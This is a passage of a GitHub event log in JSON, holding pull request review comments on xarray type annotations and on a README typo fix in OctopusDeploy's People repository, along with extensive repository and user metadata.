rl":"https://api.github.com/users/pydata","html_url":"https://github.com/pydata","followers_url":"https://api.github.com/users/pydata/followers","following_url":"https://api.github.com/users/pydata/following{/other_user}","gists_url":"https://api.github.com/users/pydata/gists{/gist_id}","starred_url":"https://api.github.com/users/pydata/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pydata/subscriptions","organizations_url":"https://api.github.com/users/pydata/orgs","repos_url":"https://api.github.com/users/pydata/repos","events_url":"https://api.github.com/users/pydata/events{/privacy}","received_events_url":"https://api.github.com/users/pydata/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/pydata/xarray","description":"N-D labeled arrays and datasets in Python","fork":false,"url":"https://api.github.com/repos/pydata/xarray","forks_url":"https://api.github.com/repos/pydata/xarray/forks","keys_url":"https://api.github.com/repos/pydata/xarray/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pydata/xarray/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pydata/xarray/teams","hooks_url":"https://api.github.com/repos/pydata/xarray/hooks","issue_events_url":"https://api.github.com/repos/pydata/xarray/issues/events{/number}","events_url":"https://api.github.com/repos/pydata/xarray/events","assignees_url":"https://api.github.com/repos/pydata/xarray/assignees{/user}","branches_url":"https://api.github.com/repos/pydata/xarray/branches{/branch}","tags_url":"https://api.github.com/repos/pydata/xarray/tags","blobs_url":"https://api.github.com/repos/pydata/xarray/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pydata/xarray/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pydata/xarray/git/refs{/sha}","trees_url":"https://api.github.com/repos/pydata/xarray/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pydata/xarray/statuses/{sha}","languages_url":"https://api.github.com/repos/pydata/xarray/languages","stargazers_url":"https://api.github.com/repos/pydata/xarray/stargazers","contributors_url":"https://api.github.com/repos/pydata/xarray/contributors","subscribers_url":"https://api.github.com/repos/pydata/xarray/subscribers","subscription_url":"https://api.github.com/repos/pydata/xarray/subscription","commits_url":"https://api.github.com/repos/pydata/xarray/commits{/sha}","git_commits_url":"https://api.github.com/repos/pydata/xarray/git/commits{/sha}","comments_url":"https://api.github.com/repos/pydata/xarray/comments{/number}","issue_comment_url":"https://api.github.com/repos/pydata/xarray/issues/comments{/number}","contents_url":"https://api.github.com/repos/pydata/xarray/contents/{+path}","compare_url":"https://api.github.com/repos/pydata/xarray/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pydata/xarray/merges","archive_url":"https://api.github.com/repos/pydata/xarray/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pydata/xarray/downloads","issues_url":"https://api.github.com/repos/pydata/xarray/issues{/number}","pulls_url":"https://api.github.com/repos/pydata/xarray/pulls{/number}","milestones_url":"https://api.github.com/repos/pydata/xarray/milestones{/number}","notifications_url":"https://api.github.com/repos/pydata/xarray/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pydata/xarray/labels{/name}","releases_url":"https://api.github.com/repos/pydata/xarray/releases{/id}","deployments_url":"https://api.github.com/repos/pydata/xarray/deployments","created_at":"2013-09-30T17:21:10Z","updated_at":"2019-06-25T15:50:08Z","pushed_at":"2019-06-25T15:51:23Z","git_url":"git://github.com/pydata/xarray.git","ssh_url":"git@github.com:pydata/xarray.git","clone_url":"https://github.com/pydata/xarray.git","svn_url":"https://github.com/pydata/xarray","homepage":"http://xarray.pydata.org","size":18320,"stargazers_count":1275,"watchers_count":1275,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":408,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":529,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":408,"open_issues":529,"watchers":1275,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/pydata/xarray/pulls/2706"},"html":{"href":"https://github.com/pydata/xarray/pull/2706"},"issue":{"href":"https://api.github.com/repos/pydata/xarray/issues/2706"},"comments":{"href":"https://api.github.com/repos/pydata/xarray/issues/2706/comments"},"review_comments":{"href":"https://api.github.com/repos/pydata/xarray/pulls/2706/comments"},"review_comment":{"href":"https://api.github.com/repos/pydata/xarray/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/pydata/xarray/pulls/2706/commits"},"statuses":{"href":"https://api.github.com/repos/pydata/xarray/statuses/9558811d615f50c8957b263eb0dd7680b07ae680"}},"author_association":"NONE"}}
|
{
"id": 13221727,
"name": "pydata/xarray",
"url": "https://api.github.com/repos/pydata/xarray"
}
|
{
"id": 1217238,
"login": "shoyer",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1217238?",
"url": "https://api.github.com/users/shoyer"
}
|
{
"id": 1284191,
"login": "pydata",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1284191?",
"url": "https://api.github.com/orgs/pydata"
}
| 2019-06-25T16:00:14 |
9890626128
|
{"actor":{"display_login":"shoyer"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/pydata/xarray/pulls/comments/313127611","pull_request_review_id":273949846,"id":313127611,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxMzEyNzYxMQ==","diff_hunk":"@@ -23,49 +34,58 @@\n _THIS_ARRAY = ReprObject(\"<this-array>\")\n \n \n-class AbstractCoordinates(collections.abc.Mapping):\n- def __getitem__(self, key):\n- raise NotImplementedError\n+class AbstractCoordinates(Mapping[Hashable, \"DataArray\"]):\n+ _data = None # type: Union[\"DataArray\", \"Dataset\"]\n \n- def __setitem__(self, key, value):\n+ def __getitem__(self, key: Hashable) -> \"DataArray\":\n+ raise NotImplementedError()\n+\n+ def __setitem__(self, key: Hashable, value: Any) -> None:\n self.update({key: value})\n \n @property\n- def indexes(self):\n+ def _names(self) -> Set[Hashable]:","path":"xarray/core/coordinates.py","position":44,"original_position":44,"commit_id":"c229086b8fb90866da6be24502fe17153fce6079","original_commit_id":"c229086b8fb90866da6be24502fe17153fce6079","user":{"login":"max-sixty","id":5635139,"node_id":"MDQ6VXNlcjU2MzUxMzk=","avatar_url":"https://avatars0.githubusercontent.com/u/5635139?v=4","gravatar_id":"","url":"https://api.github.com/users/max-sixty","html_url":"https://github.com/max-sixty","followers_url":"https://api.github.com/users/max-sixty/followers","following_url":"https://api.github.com/users/max-sixty/following{/other_user}","gists_url":"https://api.github.com/users/max-sixty/gists{/gist_id}","starred_url":"https://api.github.com/users/max-sixty/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/max-sixty/subscriptions","organizations_url":"https://api.github.com/users/max-sixty/orgs","repos_url":"https://api.github.com/users/max-sixty/repos","events_url":"https://api.github.com/users/max-sixty/events{/privacy}","received_events_url":"https://api.github.com/users/max-sixty/received_events","type":"User","site_admin":false},"body":"Here, I'm not so sure - do all concrete classes need to define this? Generally we wouldn't define private methods on an abstract class (even if all currently concrete classes implement it), because the implementation would be up to the concrete class?","created_at":"2019-08-12T21:04:16Z","updated_at":"2019-08-12T21:04:16Z","html_url":"https://github.com/pydata/xarray/pull/3207#discussion_r313127611","pull_request_url":"https://api.github.com/repos/pydata/xarray/pulls/3207","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/pydata/xarray/pulls/comments/313127611"},"html":{"href":"https://github.com/pydata/xarray/pull/3207#discussion_r313127611"},"pull_request":{"href":"https://api.github.com/repos/pydata/xarray/pulls/3207"}},"in_reply_to_id":312997761},"pull_request":{"url":"https://api.github.com/repos/pydata/xarray/pulls/3207","id":306448820,"node_id":"MDExOlB1bGxSZXF1ZXN0MzA2NDQ4ODIw","html_url":"https://github.com/pydata/xarray/pull/3207","diff_url":"https://github.com/pydata/xarray/pull/3207.diff","patch_url":"https://github.com/pydata/xarray/pull/3207.patch","issue_url":"https://api.github.com/repos/pydata/xarray/issues/3207","number":3207,"state":"closed","locked":false,"title":"Annotations for .data_vars() and .coords()","user":{"login":"crusaderky","id":6213168,"node_id":"MDQ6VXNlcjYyMTMxNjg=","avatar_url":"https://avatars1.githubusercontent.com/u/6213168?v=4","gravatar_id":"","url":"https://api.github.com/users/crusaderky","html_url":"https://github.com/crusaderky","followers_url":"https://api.github.com/users/crusaderky/followers","following_url":"https://api.github.com/users/crusaderky/following{/other_user}","gists_url":"https://api.github.com/users/crusaderky/gists{/gist_id}","starred_url":"https://api.github.com/users/crusaderky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/crusaderky/subscriptions","organizations_url":"https://api.github.com/users/crusaderky/orgs","repos_url":"https://api.github.com/users/crusaderky/repos","events_url":"https://api.github.com/users/crusaderky/events{/privacy}","received_events_url":"https://api.github.com/users/crusaderky/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-08-12T11:08:45Z","updated_at":"2019-08-12T21:04:16Z","closed_at":"2019-08-12T20:49:02Z","merged_at":"2019-08-12T20:49:02Z","merge_commit_sha":"14f1a97dae777463bed7967aa1fcc2533d7f9107","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/pydata/xarray/pulls/3207/commits","review_comments_url":"https://api.github.com/repos/pydata/xarray/pulls/3207/comments","review_comment_url":"https://api.github.com/repos/pydata/xarray/pulls/comments{/number}","comments_url":"https://api.github.com/repos/pydata/xarray/issues/3207/comments","statuses_url":"https://api.github.com/repos/pydata/xarray/statuses/c229086b8fb90866da6be24502fe17153fce6079","head":{"label":"crusaderky:annotations","ref":"annotations","sha":"c229086b8fb90866da6be24502fe17153fce6079","user":{"login":"crusaderky","id":6213168,"node_id":"MDQ6VXNlcjYyMTMxNjg=","avatar_url":"https://avatars1.githubusercontent.com/u/6213168?v=4","gravatar_id":"","url":"https://api.github.com/users/crusaderky","html_url":"https://github.com/crusaderky","followers_url":"https://api.github.com/users/crusaderky/followers","following_url":"https://api.github.com/users/crusaderky/following{/other_user}","gists_url":"https://api.github.com/users/crusaderky/gists{/gist_id}","starred_url":"https://api.github.com/users/crusaderky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/crusaderky/subscriptions","organizations_url":"https://api.github.com/users/crusaderky/orgs","repos_url":"https://api.github.com/users/crusaderky/repos","events_url":"https://api.github.com/users/crusaderky/events{/privacy}","received_events_url":"https://api.github.com/users/crusaderky/received_events","type":"User","site_admin":false},"repo":{"id":65103426,"node_id":"MDEwOlJlcG9zaXRvcnk2NTEwMzQyNg==","name":"xarray","full_name":"crusaderky/xarray","private":false,"owner":{"login":"crusaderky","id":6213168,"node_id":"MDQ6VXNlcjYyMTMxNjg=","avatar_url":"https://avatars1.githubusercontent.com/u/6213168?v=4","gravatar_id":"","url":"https://api.github.com/users/crusaderky","html_url":"https://github.com/crusaderky","followers_url":"https://api.github.com/users/crusaderky/followers","following_url":"https://api.github.com/users/crusaderky/following{/other_user}","gists_url":"https://api.github.com/users/crusaderky/gists{/gist_id}","starred_url":"https://api.github.com/users/crusaderky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/crusaderky/subscriptions","organizations_url":"https://api.github.com/users/crusaderky/orgs","repos_url":"https://api.github.com/users/crusaderky/repos","events_url":"https://api.github.com/users/crusaderky/events{/privacy}","received_events_url":"https://api.github.com/users/crusaderky/received_events","type":"User","site_admin":false},"html_url":"https://github.com/crusaderky/xarray","description":"N-D labeled arrays and datasets in Python","fork":true,"url":"https://api.github.com/repos/crusaderky/xarray","forks_url":"https://api.github.com/repos/crusaderky/xarray/forks","keys_url":"https://api.github.com/repos/crusaderky/xarray/keys{/key_id}","collaborators_url":"https://api.github.com/repos/crusaderky/xarray/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/crusaderky/xarray/teams","hooks_url":"https://api.github.com/repos/crusaderky/xarray/hooks","issue_events_url":"https://api.github.com/repos/crusaderky/xarray/issues/events{/number}","events_url":"https://api.github.com/repos/crusaderky/xarray/events","assignees_url":"https://api.github.com/repos/crusaderky/xarray/assignees{/user}","branches_url":"https://api.github.com/repos/crusaderky/xarray/branches{/branch}","tags_url":"https://api.github.com/repos/crusaderky/xarray/tags","blobs_url":"https://api.github.com/repos/crusaderky/xarray/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/crusaderky/xarray/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/crusaderky/xarray/git/refs{/sha}","trees_url":"https://api.github.com/repos/crusaderky/xarray/git/trees{/sha}","statuses_url":"https://api.github.com/repos/crusaderky/xarray/statuses/{sha}","languages_url":"https://api.github.com/repos/crusaderky/xarray/languages","stargazers_url":"https://api.github.com/repos/crusaderky/xarray/stargazers","contributors_url":"https://api.github.com/repos/crusaderky/xarray/contributors","subscribers_url":"https://api.github.com/repos/crusaderky/xarray/subscribers","subscription_url":"https://api.github.com/repos/crusaderky/xarray/subscription","commits_url":"https://api.github.com/repos/crusaderky/xarray/commits{/sha}","git_commits_url":"https://api.github.com/repos/crusaderky/xarray/git/commits{/sha}","comments_url":"https://api.github.com/repos/crusaderky/xarray/comments{/number}","issue_comment_url":"https://api.github.com/repos/crusaderky/xarray/issues/comments{/number}","contents_url":"https://api.github.com/repos/crusaderky/xarray/contents/{+path}","compare_url":"https://api.github.com/repos/crusaderky/xarray/compare/{base}...{head}","merges_url":"https://api.github.com/repos/crusaderky/xarray/merges","archive_url":"https://api.github.com/repos/crusaderky/xarray/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/crusaderky/xarray/downloads","issues_url":"https://api.github.com/repos/crusaderky/xarray/issues{/number}","pulls_url":"https://api.github.com/repos/crusaderky/xarray/pulls{/number}","milestones_url":"https://api.github.com/repos/crusaderky/xarray/milestones{/number}","notifications_url":"https://api.github.com/repos/crusaderky/xarray/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/crusaderky/xarray/labels{/name}","releases_url":"https://api.github.com/repos/crusaderky/xarray/releases{/id}","deployments_url":"https://api.github.com/repos/crusaderky/xarray/deployments","created_at":"2016-08-06T21:47:48Z","updated_at":"2019-08-12T10:13:53Z","pushed_at":"2019-08-12T21:03:53Z","git_url":"git://github.com/crusaderky/xarray.git","ssh_url":"git@github.com:crusaderky/xarray.git","clone_url":"https://github.com/crusaderky/xarray.git","svn_url":"https://github.com/crusaderky/xarray","homepage":"http://xarray.pydata.org","size":19727,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"pydata:master","ref":"master","sha":"b0df4d901ad7625b0ffabc8d85775efaca9d2c2f","user":{"login":"pydata","id":1284191,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODQxOTE=","avatar_url":"https://avatars0.githubusercontent.com/u/1284191?v=4","gravatar_id":"","url":"https://api.github.com/users/pydata","html_url":"https://github.com/pydata","followers_url":"https://api.github.com/users/pydata/followers","following_url":"https://api.github.com/users/pydata/following{/other_user}","gists_url":"https://api.github.com/users/pydata/gists{/gist_id}","starred_url":"https://api.github.com/users/pydata/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pydata/subscriptions","organizations_url":"https://api.github.com/users/pydata/orgs","repos_url":"https://api.github.com/users/pydata/repos","events_url":"https://api.github.com/users/pydata/events{/privacy}","received_events_url":"https://api.github.com/users/pydata/received_events","type":"Organization","site_admin":false},"repo":{"id":13221727,"node_id":"MDEwOlJlcG9zaXRvcnkxMzIyMTcyNw==","name":"xarray","full_name":"pydata/xarray","private":false,"owner":{"login":"pydata","id":1284191,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODQxOTE=","avatar_url":"https://avatars0.githubusercontent.com/u/1284191?v=4","gravatar_id":"","url":"https://api.github.com/users/pydata","html_url":"https://github.com/pydata","followers_url":"https://api.github.com/users/pydata/followers","following_url":"https://api.github.com/users/pydata/following{/other_user}","gists_url":"https://api.github.com/users/pydata/gists{/gist_id}","starred_url":"https://api.github.com/users/pydata/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pydata/subscriptions","organizations_url":"https://api.github.com/users/pydata/orgs","repos_url":"https://api.github.com/users/pydata/repos","events_url":"https://api.github.com/users/pydata/events{/privacy}","received_events_url":"https://api.github.com/users/pydata/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/pydata/xarray","description":"N-D labeled arrays and datasets in Python","fork":false,"url":"https://api.github.com/repos/pydata/xarray","forks_url":"https://api.github.com/repos/pydata/xarray/forks","keys_url":"https://api.github.com/repos/pydata/xarray/keys{/key_id}","collaborators_url":"https://api.github.com/repos/pydata/xarray/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/pydata/xarray/teams","hooks_url":"https://api.github.com/repos/pydata/xarray/hooks","issue_events_url":"https://api.github.com/repos/pydata/xarray/issues/events{/number}","events_url":"https://api.github.com/repos/pydata/xarray/events","assignees_url":"https://api.github.com/repos/pydata/xarray/assignees{/user}","branches_url":"https://api.github.com/repos/pydata/xarray/branches{/branch}","tags_url":"https://api.github.com/repos/pydata/xarray/tags","blobs_url":"https://api.github.com/repos/pydata/xarray/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/pydata/xarray/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/pydata/xarray/git/refs{/sha}","trees_url":"https://api.github.com/repos/pydata/xarray/git/trees{/sha}","statuses_url":"https://api.github.com/repos/pydata/xarray/statuses/{sha}","languages_url":"https://api.github.com/repos/pydata/xarray/languages","stargazers_url":"https://api.github.com/repos/pydata/xarray/stargazers","contributors_url":"https://api.github.com/repos/pydata/xarray/contributors","subscribers_url":"https://api.github.com/repos/pydata/xarray/subscribers","subscription_url":"https://api.github.com/repos/pydata/xarray/subscription","commits_url":"https://api.github.com/repos/pydata/xarray/commits{/sha}","git_commits_url":"https://api.github.com/repos/pydata/xarray/git/commits{/sha}","comments_url":"https://api.github.com/repos/pydata/xarray/comments{/number}","issue_comment_url":"https://api.github.com/repos/pydata/xarray/issues/comments{/number}","contents_url":"https://api.github.com/repos/pydata/xarray/contents/{+path}","compare_url":"https://api.github.com/repos/pydata/xarray/compare/{base}...{head}","merges_url":"https://api.github.com/repos/pydata/xarray/merges","archive_url":"https://api.github.com/repos/pydata/xarray/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/pydata/xarray/downloads","issues_url":"https://api.github.com/repos/pydata/xarray/issues{/number}","pulls_url":"https://api.github.com/repos/pydata/xarray/pulls{/number}","milestones_url":"https://api.github.com/repos/pydata/xarray/milestones{/number}","notifications_url":"https://api.github.com/repos/pydata/xarray/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/pydata/xarray/labels{/name}","releases_url":"https://api.github.com/repos/pydata/xarray/releases{/id}","deployments_url":"https://api.github.com/repos/pydata/xarray/deployments","created_at":"2013-09-30T17:21:10Z","updated_at":"2019-08-12T21:02:37Z","pushed_at":"2019-08-12T21:02:25Z","git_url":"git://github.com/pydata/xarray.git","ssh_url":"git@github.com:pydata/xarray.git","clone_url":"https://github.com/pydata/xarray.git","svn_url":"https://github.com/pydata/xarray","homepage":"http://xarray.pydata.org","size":19876,"stargazers_count":1354,"watchers_count":1354,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":444,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":520,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":444,"open_issues":520,"watchers":1354,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/pydata/xarray/pulls/3207"},"html":{"href":"https://github.com/pydata/xarray/pull/3207"},"issue":{"href":"https://api.github.com/repos/pydata/xarray/issues/3207"},"comments":{"href":"https://api.github.com/repos/pydata/xarray/issues/3207/comments"},"review_comments":{"href":"https://api.github.com/repos/pydata/xarray/pulls/3207/comments"},"review_comment":{"href":"https://api.github.com/repos/pydata/xarray/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/pydata/xarray/pulls/3207/commits"},"statuses":{"href":"https://api.github.com/repos/pydata/xarray/statuses/c229086b8fb90866da6be24502fe17153fce6079"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 13221727,
"name": "pydata/xarray",
"url": "https://api.github.com/repos/pydata/xarray"
}
|
{
"id": 5635139,
"login": "max-sixty",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/5635139?",
"url": "https://api.github.com/users/max-sixty"
}
|
{
"id": 1284191,
"login": "pydata",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1284191?",
"url": "https://api.github.com/orgs/pydata"
}
| 2019-08-12T21:04:16 |
10196556418
|
{"actor":{"display_login":"max-sixty"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/OctopusDeploy/People/pulls/comments/268457137","pull_request_review_id":218106067,"id":268457137,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2ODQ1NzEzNw==","diff_hunk":"@@ -1,6 +1,6 @@\n-# Octopus People\n+# Octopus People\n ","path":"README.md","position":3,"original_position":3,"commit_id":"30d210777b0788e59135498ee936f87b2599350f","original_commit_id":"30d210777b0788e59135498ee936f87b2599350f","user":{"login":"michaelnoonan","id":1627582,"node_id":"MDQ6VXNlcjE2Mjc1ODI=","avatar_url":"https://avatars1.githubusercontent.com/u/1627582?v=4","gravatar_id":"","url":"https://api.github.com/users/michaelnoonan","html_url":"https://github.com/michaelnoonan","followers_url":"https://api.github.com/users/michaelnoonan/followers","following_url":"https://api.github.com/users/michaelnoonan/following{/other_user}","gists_url":"https://api.github.com/users/michaelnoonan/gists{/gist_id}","starred_url":"https://api.github.com/users/michaelnoonan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaelnoonan/subscriptions","organizations_url":"https://api.github.com/users/michaelnoonan/orgs","repos_url":"https://api.github.com/users/michaelnoonan/repos","events_url":"https://api.github.com/users/michaelnoonan/events{/privacy}","received_events_url":"https://api.github.com/users/michaelnoonan/received_events","type":"User","site_admin":false},"body":"I agree: \"at Octopus\". :)","created_at":"2019-03-24T22:42:03Z","updated_at":"2019-03-24T22:42:03Z","html_url":"https://github.com/OctopusDeploy/People/pull/7#discussion_r268457137","pull_request_url":"https://api.github.com/repos/OctopusDeploy/People/pulls/7","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/OctopusDeploy/People/pulls/comments/268457137"},"html":{"href":"https://github.com/OctopusDeploy/People/pull/7#discussion_r268457137"},"pull_request":{"href":"https://api.github.com/repos/OctopusDeploy/People/pulls/7"}},"in_reply_to_id":268452285},"pull_request":{"url":"https://api.github.com/repos/OctopusDeploy/People/pulls/7","id":263930967,"node_id":"MDExOlB1bGxSZXF1ZXN0MjYzOTMwOTY3","html_url":"https://github.com/OctopusDeploy/People/pull/7","diff_url":"https://github.com/OctopusDeploy/People/pull/7.diff","patch_url":"https://github.com/OctopusDeploy/People/pull/7.patch","issue_url":"https://api.github.com/repos/OctopusDeploy/People/issues/7","number":7,"state":"open","locked":false,"title":"Typos","user":{"login":"MelbourneDeveloper","id":16697547,"node_id":"MDQ6VXNlcjE2Njk3NTQ3","avatar_url":"https://avatars0.githubusercontent.com/u/16697547?v=4","gravatar_id":"","url":"https://api.github.com/users/MelbourneDeveloper","html_url":"https://github.com/MelbourneDeveloper","followers_url":"https://api.github.com/users/MelbourneDeveloper/followers","following_url":"https://api.github.com/users/MelbourneDeveloper/following{/other_user}","gists_url":"https://api.github.com/users/MelbourneDeveloper/gists{/gist_id}","starred_url":"https://api.github.com/users/MelbourneDeveloper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MelbourneDeveloper/subscriptions","organizations_url":"https://api.github.com/users/MelbourneDeveloper/orgs","repos_url":"https://api.github.com/users/MelbourneDeveloper/repos","events_url":"https://api.github.com/users/MelbourneDeveloper/events{/privacy}","received_events_url":"https://api.github.com/users/MelbourneDeveloper/received_events","type":"User","site_admin":false},"body":"I'm not sure if \"stand up\" is a phrasal verb I'm not familiar with in this context, but \"set up\" seems like the right choice to me.","created_at":"2019-03-24T19:42:54Z","updated_at":"2019-03-24T22:42:03Z","closed_at":null,"merged_at":null,"merge_commit_sha":"63155c718f533aea450bee8ca15abac7f27f7fb1","assignee":{"login":"michaelnoonan","id":1627582,"node_id":"MDQ6VXNlcjE2Mjc1ODI=","avatar_url":"https://avatars1.githubusercontent.com/u/1627582?v=4","gravatar_id":"","url":"https://api.github.com/users/michaelnoonan","html_url":"https://github.com/michaelnoonan","followers_url":"https://api.github.com/users/michaelnoonan/followers","following_url":"https://api.github.com/users/michaelnoonan/following{/other_user}","gists_url":"https://api.github.com/users/michaelnoonan/gists{/gist_id}","starred_url":"https://api.github.com/users/michaelnoonan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaelnoonan/subscriptions","organizations_url":"https://api.github.com/users/michaelnoonan/orgs","repos_url":"https://api.github.com/users/michaelnoonan/repos","events_url":"https://api.github.com/users/michaelnoonan/events{/privacy}","received_events_url":"https://api.github.com/users/michaelnoonan/received_events","type":"User","site_admin":false},"assignees":[{"login":"michaelnoonan","id":1627582,"node_id":"MDQ6VXNlcjE2Mjc1ODI=","avatar_url":"https://avatars1.githubusercontent.com/u/1627582?v=4","gravatar_id":"","url":"https://api.github.com/users/michaelnoonan","html_url":"https://github.com/michaelnoonan","followers_url":"https://api.github.com/users/michaelnoonan/followers","following_url":"https://api.github.com/users/michaelnoonan/following{/other_user}","gists_url":"https://api.github.com/users/michaelnoonan/gists{/gist_id}","starred_url":"https://api.github.com/users/michaelnoonan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaelnoonan/subscriptions","organizations_url":"https://api.github.com/users/michaelnoonan/orgs","repos_url":"https://api.github.com/users/michaelnoonan/repos","events_url":"https://api.github.com/users/michaelnoonan/events{/privacy}","received_events_url":"https://api.github.com/users/michaelnoonan/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/OctopusDeploy/People/pulls/7/commits","review_comments_url":"https://api.github.com/repos/OctopusDeploy/People/pulls/7/comments","review_comment_url":"https://api.github.com/repos/OctopusDeploy/People/pulls/comments{/number}","comments_url":"https://api.github.com/repos/OctopusDeploy/People/issues/7/comments","statuses_url":"https://api.github.com/repos/OctopusDeploy/People/statuses/30d210777b0788e59135498ee936f87b2599350f","head":{"label":"MelbourneDeveloper:master","ref":"master","sha":"30d210777b0788e59135498ee936f87b2599350f","user":{"login":"MelbourneDeveloper","id":16697547,"node_id":"MDQ6VXNlcjE2Njk3NTQ3","avatar_url":"https://avatars0.githubusercontent.com/u/16697547?v=4","gravatar_id":"","url":"https://api.github.com/users/MelbourneDeveloper","html_url":"https://github.com/MelbourneDeveloper","followers_url":"https://api.github.com/users/MelbourneDeveloper/followers","following_url":"https://api.github.com/users/MelbourneDeveloper/following{/other_user}","gists_url":"https://api.github.com/users/MelbourneDeveloper/gists{/gist_id}","starred_url":"https://api.github.com/users/MelbourneDeveloper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MelbourneDeveloper/subscriptions","organizations_url":"https://api.github.com/users/MelbourneDeveloper/orgs","repos_url":"https://api.github.com/users/MelbourneDeveloper/repos","events_url":"https://api.github.com/users/MelbourneDeveloper/events{/privacy}","received_events_url":"https://api.github.com/users/MelbourneDeveloper/received_events","type":"User","site_admin":false},"repo":{"id":177460360,"node_id":"MDEwOlJlcG9zaXRvcnkxNzc0NjAzNjA=","name":"People","full_name":"MelbourneDeveloper/People","private":false,"owner":{"login":"MelbourneDeveloper","id":16697547,"node_id":"MDQ6VXNlcjE2Njk3NTQ3","avatar_url":"https://avatars0.githubusercontent.com/u/16697547?v=4","gravatar_id":"","url":"https://api.github.com/users/MelbourneDeveloper","html_url":"https://github.com/MelbourneDeveloper","followers_url":"https://api.github.com/users/MelbourneDeveloper/followers","following_url":"https://api.github.com/users/MelbourneDeveloper/following{/other_user}","gists_url":"https://api.github.com/users/MelbourneDeveloper/gists{/gist_id}","starred_url":"https://api.github.com/users/MelbourneDeveloper/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MelbourneDeveloper/subscriptions","organizations_url":"https://api.github.com/users/MelbourneDeveloper/orgs","repos_url":"https://api.github.com/users/MelbourneDeveloper/repos","events_url":"https://api.github.com/users/MelbourneDeveloper/events{/privacy}","received_events_url":"https://api.github.com/users/MelbourneDeveloper/received_events","type":"User","site_admin":false},"html_url":"https://github.com/MelbourneDeveloper/People","description":"Describes our culture and our 